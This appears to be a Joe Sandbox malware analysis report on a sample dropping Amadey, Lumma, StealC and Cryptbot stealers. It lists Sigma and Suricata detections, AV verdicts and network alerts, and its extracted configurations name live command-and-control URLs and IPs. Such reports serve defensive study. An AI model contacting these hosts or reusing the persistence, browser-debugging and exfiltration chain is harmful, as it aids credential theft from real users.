1.2.skotes.exe.b40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.b40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7656, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2235d4f703.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe, ParentProcessId: 7860, ParentProcessName: 2a8b7e5b78.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 512, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7656, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2235d4f703.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:29.829798+0100	2028371	3	Unknown Traffic	192.168.2.4	49807	172.67.162.84	443	TCP
2024-11-23T03:21:31.870800+0100	2028371	3	Unknown Traffic	192.168.2.4	49814	172.67.162.84	443	TCP
2024-11-23T03:21:34.645672+0100	2028371	3	Unknown Traffic	192.168.2.4	49822	172.67.162.84	443	TCP
2024-11-23T03:21:37.292588+0100	2028371	3	Unknown Traffic	192.168.2.4	49828	172.67.162.84	443	TCP
2024-11-23T03:21:40.433776+0100	2028371	3	Unknown Traffic	192.168.2.4	49836	172.67.162.84	443	TCP
2024-11-23T03:21:42.514464+0100	2028371	3	Unknown Traffic	192.168.2.4	49843	172.67.162.84	443	TCP
2024-11-23T03:21:43.640564+0100	2028371	3	Unknown Traffic	192.168.2.4	49847	172.67.162.84	443	TCP
2024-11-23T03:21:45.213965+0100	2028371	3	Unknown Traffic	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T03:21:46.768269+0100	2028371	3	Unknown Traffic	192.168.2.4	49857	172.67.162.84	443	TCP
2024-11-23T03:21:47.761198+0100	2028371	3	Unknown Traffic	192.168.2.4	49859	172.67.162.84	443	TCP
2024-11-23T03:21:50.325495+0100	2028371	3	Unknown Traffic	192.168.2.4	49875	172.67.162.84	443	TCP
2024-11-23T03:21:51.311667+0100	2028371	3	Unknown Traffic	192.168.2.4	49878	172.67.162.84	443	TCP
2024-11-23T03:21:53.283195+0100	2028371	3	Unknown Traffic	192.168.2.4	49885	172.67.162.84	443	TCP
2024-11-23T03:21:53.535437+0100	2028371	3	Unknown Traffic	192.168.2.4	49887	172.67.162.84	443	TCP
2024-11-23T03:21:53.612257+0100	2028371	3	Unknown Traffic	192.168.2.4	49888	172.67.162.84	443	TCP
2024-11-23T03:21:59.280466+0100	2028371	3	Unknown Traffic	192.168.2.4	49913	172.67.162.84	443	TCP
2024-11-23T03:21:59.984248+0100	2028371	3	Unknown Traffic	192.168.2.4	49917	172.67.162.84	443	TCP
2024-11-23T03:22:02.778311+0100	2028371	3	Unknown Traffic	192.168.2.4	49931	172.67.162.84	443	TCP
2024-11-23T03:22:03.488767+0100	2028371	3	Unknown Traffic	192.168.2.4	49939	172.67.162.84	443	TCP
2024-11-23T03:22:05.149216+0100	2028371	3	Unknown Traffic	192.168.2.4	49945	172.67.162.84	443	TCP
2024-11-23T03:22:08.486317+0100	2028371	3	Unknown Traffic	192.168.2.4	49955	172.67.162.84	443	TCP
2024-11-23T03:22:17.747866+0100	2028371	3	Unknown Traffic	192.168.2.4	49980	172.67.162.84	443	TCP
2024-11-23T03:22:21.204632+0100	2028371	3	Unknown Traffic	192.168.2.4	49990	172.67.162.84	443	TCP
2024-11-23T03:22:24.841409+0100	2028371	3	Unknown Traffic	192.168.2.4	50005	172.67.162.84	443	TCP
2024-11-23T03:23:33.119243+0100	2028371	3	Unknown Traffic	192.168.2.4	50196	20.189.173.20	443	TCP
2024-11-23T03:24:53.650459+0100	2028371	3	Unknown Traffic	192.168.2.4	50231	20.189.173.15	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:30.552281+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49807	172.67.162.84	443	TCP
2024-11-23T03:21:32.976908+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49814	172.67.162.84	443	TCP
2024-11-23T03:21:43.717119+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49843	172.67.162.84	443	TCP
2024-11-23T03:21:46.059350+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T03:21:52.057842+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49878	172.67.162.84	443	TCP
2024-11-23T03:21:54.281173+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49887	172.67.162.84	443	TCP
2024-11-23T03:21:54.350179+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49888	172.67.162.84	443	TCP
2024-11-23T03:22:05.886428+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49945	172.67.162.84	443	TCP
2024-11-23T03:22:25.609436+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50005	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:30.552281+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49807	172.67.162.84	443	TCP
2024-11-23T03:21:43.717119+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49843	172.67.162.84	443	TCP
2024-11-23T03:21:52.057842+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49878	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:32.976908+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49814	172.67.162.84	443	TCP
2024-11-23T03:21:46.059350+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T03:21:54.281173+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49887	172.67.162.84	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:55.859206+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49900	185.215.113.16	80	TCP
2024-11-23T03:22:07.398625+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49951	185.215.113.16	80	TCP
2024-11-23T03:22:27.188256+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50014	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:21.150812+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49785	185.215.113.43	80	TCP
2024-11-23T03:21:29.905907+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49806	185.215.113.43	80	TCP
2024-11-23T03:21:39.108342+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49833	185.215.113.43	80	TCP
2024-11-23T03:21:46.862743+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49855	185.215.113.43	80	TCP
2024-11-23T03:21:57.747709+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49910	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:48.617864+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49865	34.116.198.130	80	TCP
2024-11-23T03:21:50.479242+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49877	34.116.198.130	80	TCP
2024-11-23T03:22:07.010148+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49949	34.116.198.130	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:46.772509+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49857	172.67.162.84	443	TCP
2024-11-23T03:22:18.498757+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49980	172.67.162.84	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:39.793615+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49834	185.215.113.206	80	TCP
2024-11-23T03:22:03.743761+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49933	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:05.399470+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-23T03:26:06.060501+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50260	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:19.730029+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49754	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:21:09.957809+0100	2803305	3	Unknown Traffic	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-23T03:21:22.828052+0100	2803305	3	Unknown Traffic	192.168.2.4	49790	185.215.113.16	80	TCP
2024-11-23T03:21:31.412396+0100	2803305	3	Unknown Traffic	192.168.2.4	49810	185.215.113.16	80	TCP
2024-11-23T03:21:40.681743+0100	2803305	3	Unknown Traffic	192.168.2.4	49837	185.215.113.16	80	TCP
2024-11-23T03:21:48.408085+0100	2803305	3	Unknown Traffic	192.168.2.4	49862	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T03:22:03.876256+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49931	172.67.162.84	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/v=	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php9&T	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1734319751.0000000000651000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 2235d4f703.exe.2132.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}
Source: 86526d7b20.exe.3428.10.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/hT

Virustotal: Detection: 18%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 44%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_6f63c37f-c

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.14:443 -> 192.168.2.4:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.14:443 -> 192.168.2.4:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.4:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.14:443 -> 192.168.2.4:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.20:443 -> 192.168.2.4:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.15:443 -> 192.168.2.4:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50252 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 27MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49785 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49806 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49833 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49834 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49865 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49855 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49877 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49910 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49933 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49949 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50260 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49807 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49807 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49814 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49814 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49888 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49850 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49850 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49843 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49843 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49857 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49931 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49887 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49887 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49878 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49878 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49980 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49945 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50005 -> 172.67.162.84:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
